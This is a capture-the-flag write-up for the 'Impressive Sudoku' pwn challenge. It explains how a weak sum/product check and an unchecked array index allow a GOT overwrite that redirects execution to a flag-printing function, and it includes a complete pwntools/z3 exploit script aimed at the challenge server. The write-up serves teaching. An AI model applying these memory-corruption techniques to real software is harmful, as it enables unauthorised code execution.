OverTheWireAdvent Impressive Sudoku

9 minute read

Tags: pwn math
Points: 350
Solves: 33

First we asked you to solve a sudoku, now we want you to make one.

Service: nc 3.93.128.89 1218

Download: 4964615443db994db372a3d64524510452521f09809fdb50da22e83d15fb48ca.tar.gz

#include <cstdio>
#include <cstdlib>
uint sudoku[9][9];
uint scorer[9 + 1];
bool checkrow(uint nums[9]) {
    uint sum = 0;
    uint prod = 1;
    for (int i = 0; i < 9; i++) {
        sum += nums[i];
        prod *= nums[i];
    }
    // Lazy way to check nums is a permutation of 1 - 9.
    return sum == 45 && prod == 362880;
}
bool check() {
    uint row[9];
    for (int i = 0; i < 9; i++) {
        for (int j = 0; j < 9; j++) {
            row[j] = sudoku[i][j];
        }
        if (!checkrow(row)) {
            return false;
        }
    }
    for (int j = 0; j < 9; j++) {
        for (int i = 0; i < 9; i++) {
            row[i] = sudoku[i][j];
        }
        if (!checkrow(row)) {
            return false;
        }
    }
    for (int i = 0; i < 3; i++) {
        for (int j = 0; j < 3; j++) {
            for (int ii = 0; ii < 3; ii++) {
                for (int jj = 0; jj < 3; jj++) {
                    row[ii * 3 + jj] = sudoku[i * 3 + ii][j * 3 + jj];
                }
            }
            if (!checkrow(row)) {
                return false;
            }
        }
    }
    return true;
}
void win() {
    system("/bin/cat flag.txt");
}
void score() {
    puts("Let me take a look...");
    for (int i = 0; i < 8; i++) {
        scorer[sudoku[i][i]] = sudoku[i + 1][i + 1];
    }
    uint score = 1;
    for (int i = 1; i <= 9; i++) {
        score *= scorer[i];
    }
    if (score >= 1000000) {
        win();
    } else {
        puts("That is an unimpressive sudoku.");
        exit(0);
    }
}
int main() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    
    puts("Could you give me a fully solved sudoku?");
    puts("Enter 9 lines, each containing 9 integers, space separated:");
    for (int i = 0; i < 9; i++) {
        for (int j = 0; j < 9; j++) {
            scanf("%u", &sudoku[i][j]);
        }
    }
    if (!check()) {
        puts("That is not a valid sudoku.");
        exit(0);
    }
    score();
}

Solution

Summary

Find the vulnerable part of the program
Build exploitation strategy
- GOT overwrite attack using array assignment
Find a condition which can cause GOT overwrite
- find numbers which satisfies the equation

Details

This program takes the solved sudoku input, and if some condition is met (score >= 1000000), output the flag.

The score is computed by taking the sudoku’s diagonal cell numbers; for example, if the provided sudoku is:

1*	7	2	5	4	9	6	8	3
4*	5	8	7	3	2	1	9
8	9*	2	6	1	7	4	5
9	6	3*	2	7	8	5	1
1	3	4	5*	6	9	7	2
5	7	1	9	8*	4	3	6
6	4	7	1	5	3*	2	8
3	1	6	8	2	5	9*	4
2	8	9	3	4	1	6	7*

then using the diagonal elements 1, 4, 9, 3, 5, 8, 3, 9, 7, the score computation would be:

scorer[1] = 4
scorer[4] = 9
scorer[9] = 3
scorer[3] = 5
scorer[5] = 8
scorer[8] = 3
scorer[3] = 9
scorer[9] = 7

Then score is computed by computing product of scorer[1] .. scorer[9]. However, scorer array is initialised to 0 and only written for 8 times, at least one element remains to be 0. Thus, the score will be always 0, and cannot get the flag in normal way.

Find the vulnerable part of the program

After reading the source code they provided for a while, we found out that the condition in the checkrow function is insufficient to check that the numbers are a permutation of 1..9, since x86 CPUs are operating based on modulo $2^{32}$ arithmetic.

For example, if we have odd number $N$ , we have modulo inverse $N^{-1} mod 2^{32}$ , such that $N^{-1} \times N = 1 mod 2^{32}$ , and when we pick 4 numbers $N^{-1}$ , $N$ , $- N^{-1}$ , $- N$ , we have $N^{-1} \times N \times (- N^{-1}) \times (- N) = 1$ and $N^{-1} + N + (- N^{-1}) + (- N) = 0$ . Note that we can easily compute the modulo inverse (See Modular multiplicative inverse - Wikipedia).

Therefore if we have 5 numbers whose product is 362880 and whose sum is 45, then the above 4 numbers together with these 5 numbers will satisfy the checkrow’s condition. We can find numbers to satisfy this condition by SMT solver.

(For your information, modulo inverse is used in RSA cryptography)

Build exploitation strategy

The content of the global array scorer (whose size is 10) is modified with indices specified by global matrix variable sudoku’s diagonal elements. If it is in the range 1..9, it is safe; however, as explained above, element of sudoku might not be in the range, and could be even negative. since the GOT (global offset table) is located near scorer, we can use negative index to overwrite GOT to point to win function.

Find a condition which can cause GOT overwrite

Our goal here is to execute this:

scorer[offset_to_got] = &win;

where offset_to_got is the relative offset of GOT entry from scorer variable.

The memory layout around GOT and scorer is:

symbol	address	offset from `scorer`
GOT[`__stack_chk_fail`]	0x804a00c	scorer[-109]
GOT[`puts`]	0x804a010	scorer[-108]
GOT[`system`]	0x804a014	scorer[-107]
GOT[`scanf`]	0x804a018	scorer[-106]
GOT[`exit`]	0x804a01c	scorer[-105]
GOT[`__libc_start_main`]	0x804a020	scorer[-104]
GOT[`setvbuf`]	0x804a024	scorer[-103]
other .data	…	scorer[-102] .. scorer[-97]
`stdin`	0x804a040	scorer[-96]
`stdout`	0x804a044	scorer[-95]
other .bss	…	scorer[-94] .. scorer[-89]
`sudoku`	0x804a060	scorer[-88] .. scorer[-1]
`scorer`	0x804a1c0	scorer[0] .. scorer[9]

The candidate functions to overwrite are puts (index: -108) and exit (index: -105). The address of win function is 0x8048799 = 134514585, then we have to execute either:

scorer[-108] = 0x8048799
scorer[-105] = 0x8048799

Note that write to scorer is done 8 times, and because of sudoku’s constraint, we must ensure that we have at least 2 safe indices to access scorer along with -108 or -105. We should not overwrite stdin, stdout or other memory regions, and we need indices which fit into sudoku or scorer i.e. numbers between -88 and 9 (inclusive).

Then, we must find 9 numbers which satisfies the following condition:

sum = 45
product = 362880
include 0x8048799
include -105 or -108
include 2 numbers between -88 and 9

I think it could be difficult to find there numbers randomly since there is a big number 0x8048799; so we used modular arithmetic to simplify the condition.

Let $f_{win} = 0x8048799$ . Fortunately $f_{win}$ is an odd number, and there exists $f_{win}^{-1}$ , which is a modulo inverse of $f_{win}$ respect to $2^{32}$ . It actually is 0x5533dca9 = 1429462185. (Note that $f_{win} \times f_{win}^{-1} = 134514585 \times 1429462185 = 1 mod 2^{32}$ ).

Then we can compose pute a, b, c, d to met the following conditions:

9 numbers to compose the sudoku cells
- $x_{1}$
  such that $-88 \leq x_{1} \leq 9$
- $x_{2}$
  such that $-88 \leq x_{2} \leq 9$
- arbitrary number $x_{3}$
- arbitrary number $x_{4}$
- $I_{GOT} = -105 or -108$
- $f_{win}$
- $f_{win}^{-1}$
- $- f_{win}$
- $- f_{win}^{-1}$
conditions
- $x_{1} \times x_{2} \times x_{3} \times x_{4} \times I_{GOT} = 362880$
- $x_{1} + x_{2} + x_{3} + x_{4} + I_{GOT} = 362880$

Then we solved these constraints with SMT Solver to find numbers (with GOT index = -108):

sat
[x4 = 140, x3 = 12, x2 = 2, x1 = -1]

Now we have 9 numbers:

-1 (4294967295)
2
12
140
$I_{GOT} = -108$
(= 4294967188)
$f_{win} = 0x8048799$
(= 134514585)
$f_{win}^{-1} = 0x5533dca9$
(= 1429462185)
$- f_{win} = -0x8048799$
(= 4160452711)
$- f_{win}^{-1} = -0x5533dca9$
(= 2865505111)

Then we place these numbers in diagonal cells as:
-1, 2, -108, -1, 2, -108, -1, -108, 0x8048799
(in unsigned int: 4294967295, 2, 4294967188, 4294967295, 2, 4294967188, 4294967295, 4294967188, 134514585)
and solve remaining sudoku constraints, to get the sudoku cells:

4294967295 140 2865505111 1429462185 4160452711 2 4294967188 134514585 12
1429462185 2 4160452711 134514585 4294967188 12 140 2865505111 4294967295
134514585 12 4294967188 140 4294967295 2865505111 1429462185 4160452711 2
2 4160452711 134514585 4294967295 140 1429462185 2865505111 12 4294967188
2865505111 4294967188 140 12 2 4160452711 134514585 4294967295 1429462185
12 4294967295 1429462185 2865505111 134514585 4294967188 4160452711 2 140
140 2865505111 2 4294967188 12 134514585 4294967295 1429462185 4160452711
4160452711 134514585 4294967295 2 1429462185 140 12 4294967188 2865505111
4294967188 1429462185 12 4160452711 2865505111 4294967295 2 140 134514585

Then we input this to program and get the flag.

solve.py:

from pwn import *
from z3 import *

# The program checks if the sudoku cells are 1,2,3,4,5,6,7,8,9
# by checking sum=45, product=362880.
# However, there are combinations of numbers
# which satisfies the equation, especially in 32bit
# integer operation (which is mod 4294967296).

# The program accesses scorer[index] = value,
# where index and value are the sudoku cells.
# If we enter arbitrary value for index and value,
# we can use memory write attack.

e = ELF('./chal')

# Here we use GOT address and do GOT overwrite attack.

# compute index, which will overwrite GOT[puts]
addr_scorer = e.symbols['scorer']
addr_got = e.got['puts']
gotoff = (addr_got - addr_scorer) // 4
print('scorer[%d] == GOT[puts]' % gotoff)

# get function address of win()
addr_win = e.symbols['_Z3winv']
print('&win == 0x%x' % addr_win)

# compute a value X such that X*addr_win == 1

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    while a < 0:
        a += m
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

addr_win_inv = modinv(addr_win, 4294967296)

# Here, we have:
# addr_win + addr_win_env + -addr_win + -addr_win_env = 0
# addr_win * addr_win_env * -addr_win * -addr_win_env = 1

# we calculate the rest 6 elements to satisfy the conditions

x1 = Int('x1')
x2 = Int('x2')
x3 = Int('x3')
x4 = Int('x4')
x5 = Int('x5')

s = Solver()
s.add(x1>=-80)
s.add(x1<10)
s.add(x2>=-80)
s.add(x2<10)
s.add(x1+x2+x3+x4+gotoff == 45)
s.add(x1*x2*x3*x4*gotoff == 362880)

print('Solving sum/product constraint...')
print(s.check())
print(s.model())

# values which are safe to be used as an index
v1 = s.model()[x1].as_long() % 4294967296
v2 = s.model()[x2].as_long() % 4294967296
# values which may not be safe
v3 = s.model()[x3].as_long() % 4294967296
v4 = s.model()[x4].as_long() % 4294967296
# GOT index
v5 = gotoff % 4294967296
# win address
v6 = addr_win % 4294967296
# adjust
v7 = -addr_win % 4294967296
v8 = addr_win_inv % 4294967296
v9 = -addr_win_inv % 4294967296

assert ((v1+v2+v3+v4+v5+v6+v7+v8+v9) % 4294967296 == 45)
assert ((v1*v2*v3*v4*v5*v6*v7*v8*v9) % 4294967296 == 362880)

values = [v1, v2, v3, v4, v5, v6, v7, v8, v9]
print(values)

# Then, we can do this:
# scorer[v5] = v6
# In order to do this we layout sudoku as follows:
# v1
#    v2
#       v5
#          v1
#             v2
#                v5
#                   v1
#                      v5
#                         v6

# Solve sudoku constraints
sudoku = Solver()

matrix = [[Int(row+col) for col in '123456789'] for row in 'ABCDEFGHI']
for row in matrix:
    for cell in row:
        sudoku.add(Or([cell == v for v in values]))

sudoku_groups = []
for i in range(9):
    sudoku_groups.append([matrix[i][j] for j in range(9)])
    sudoku_groups.append([matrix[j][i] for j in range(9)])
for i in range(0, 9, 3):
    for j in range(0, 9, 3):
        sudoku_groups.append([matrix[i+ii][j+jj] for ii in range(3) for jj in range(3)])

for group in sudoku_groups:
    for cell1 in group:
        for cell2 in group:
            if cell1.get_id() != cell2.get_id():
                sudoku.add(cell1 != cell2)

sudoku.add(matrix[0][0] == v1)
sudoku.add(matrix[1][1] == v2)
sudoku.add(matrix[2][2] == v5)
sudoku.add(matrix[3][3] == v1)
sudoku.add(matrix[4][4] == v2)
sudoku.add(matrix[5][5] == v5)
sudoku.add(matrix[6][6] == v1)
sudoku.add(matrix[7][7] == v5)
sudoku.add(matrix[8][8] == v6)

print('Solving sudoku constraint...')
print(sudoku.check())

p = remote('3.93.128.89', 1218)

print(p.recvline().decode())
print(p.recvline().decode())
for i in range(9):
    s = ' '.join(list(map(str, [sudoku.model()[matrix[i][j]] for j in range(9)])))
    p.sendline(s)
    print(s)
    
p.interactive()

by Fukutomo

Twitter Facebook LinkedIn

Phish'n'Chips

OverTheWireAdvent Impressive Sudoku

Solution

Summary

Details

Find the vulnerable part of the program

Build exploitation strategy

Find a condition which can cause GOT overwrite

You May Also Enjoy

OverTheWireAdvent Santa’s Signature

OverTheWireAdvent Snowflake Idle

OverTheWireAdvent Musical Stegano

OverTheWireAdvent Self-Replicating Toy